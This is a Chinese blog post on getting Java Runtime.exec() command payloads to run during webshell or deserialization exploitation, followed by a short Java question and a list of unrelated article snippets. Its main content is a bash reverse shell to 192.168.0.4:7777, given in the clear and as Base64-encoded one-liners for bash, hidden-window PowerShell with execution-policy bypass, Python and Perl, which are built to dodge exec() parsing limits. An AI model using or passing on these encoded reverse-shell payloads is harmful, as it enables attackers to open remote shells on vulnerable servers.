java.lang.Runtime.exec() Payload知识点详解
作者：御用闲人 发布时间：2023-11-30 09:56:10
标签：java,Runtime
有时，通过Runtime.getRuntime().exec()执行命令的有效负载有时会失败。使用Web Shell，反序列化利用或通过其他媒介时，可能会发生这种情况。
有时这是因为重定向和管道字符的使用在启动过程的上下文中没有意义。例如，在shell中执行ls> dir_listing会将当前目录的列表输出到名为dir_listing的文件中。但是在exec()函数的上下文中，该命令将被解释为获取>和dir_listing目录的列表。
有时，StringTokenizer类会破坏其中包含空格的参数，该类将命令字符串按空格分隔。像ls“我的目录”之类的东西将被解释为ls“我的目录”。
借助Base64编码，下面的转换器可以帮助减少这些问题。它可以通过调用Bash或PowerShell来制作管道并重新定向，还可以确保参数内没有空格。
样例：
原文
bash -i >& /dev/tcp/192.168.0.4/7777 0>&1
编码后：
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
#bash
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YgBhAHMAaAAgAC0AaQAgAD4AJgAgAC8AZABlAHYALwB0AGMAcAAvADEAOQAyAC4AMQA2ADgALgAwAC4ANAAvADcANwA3ADcAIAAwAD4AJgAxAA==
#powershell
python -c exec('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='.decode('base64'))
#python
perl -MMIME::Base64 -e eval(decode_base64('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='))
#perl
中间的字符均为“base64”编码。
知识点扩展：
java.lang.Runtime.getRuntime().exec(cmd)命令中参数不能用空格怎么办？
项目中无法执行c程序，猜测是exec()函数的问题
String cmd= exe_path + " " +video + " " +host + ":" + port;
Process process = runtime.exec(cmd);
来源：https://www.cnblogs.com/yyxianren/p/12461952.html
0
投稿猜你喜欢
SpringBoot是什么?SpringBoot是spring家族中微型框架，其设计目的是用来简化新Spring应用的初始搭建以及开发过程。- 官方文档：https://central.sonatype.org/publish/publish-maven/#a-complete-ex
- 前言此系统为博主大一上学期C语言课程设计的大作业，由于当时初步接触C语言，现在来看程序写的太烂了，简直不忍直视……但是还是想通过博客的形式记
- Map集合Map集合存储的是键值对Map集合的实现类：HashTable、LinkedHashMap、HashMap、TreeMapHash
- 一个界面，实现在向页面添加图片时，在标题上显示一个水平进度条，当图片载入完毕后，隐藏进度条并显示图片具体实现方法：res/layout/ma
- 概要： ShardingSphere是一套开源的分布式数据库中间件解决方案组成的生态圈，它由Sharding-JDBC、Sharding-P
- 自定义控件在android中无处不见，自定义控件给了我们很大的方便。比如说，一个视图为imageview ，imagebutton ,tex
- 本文实例为大家分享了Android滑动组件悬浮固定在顶部效果的具体代码，供大家参考，具体内容如下要想实现的效果是如下：场景：有些时候是内容中
- OverView今天在复习的时候，突然复习到我们的相机操作，但是对于相机操作，对于我来说比较复杂的是对于权限的操作。所有我们需要对我们的相机
- 实例如下：package bys.utils;import java.util.Date;/** * Created by toutou o
- GUI全程是Graphical User Interface，即图形用户界面。顾名思义，GUI就是可以让用户直接操作的图形化界面，包括窗口、
- 一个简单的红包生成算法，代码如下：/** * 红包 * @param n * @param money 单位：分 * @return **/
- 一、匹配字符串正则1//正则1 Regex r = new
- 目录1、简单介绍2、Lambdas和Scopes3、Lambdas与局部变量4、Lambda体与局部变量5、Lambdas和'Thi
- 如果项目中使用到了MyBatis框架，那么使用通用Mapper和PageHelper分页插件将极大的简化我们的操作。通用Mapper可以简化
- C#调用Twain接口实现扫描仪连续扫描。在监听的TwainCommand.TransferReady状态中，是调用扫描仪扫描图片的。我开始
- Java实现简单台球桌问题，供大家参考，具体内容如下需求：使小球可以在桌面上移动，移动到桌面边缘将被弹回，显示小区的移动素材：小球照片桌球照
- 本文为大家分享了maven环境变量配置的具体方法，供大家参考，具体内容如下一、maven环境配置1.解压apache-maven
- 一、前言目前 java 垃圾回收主流算法是虚拟机采用 GC Roots Tracing 算法。算法的基本思路是：通过一系列的名为 GC Ro
- 随着互联网技术的发展，现在的网站架构基本都由原来的后端渲染，变成了：前端渲染、先后端分离的形态，而且前端技术和后端技术在各自的道路上越走越远
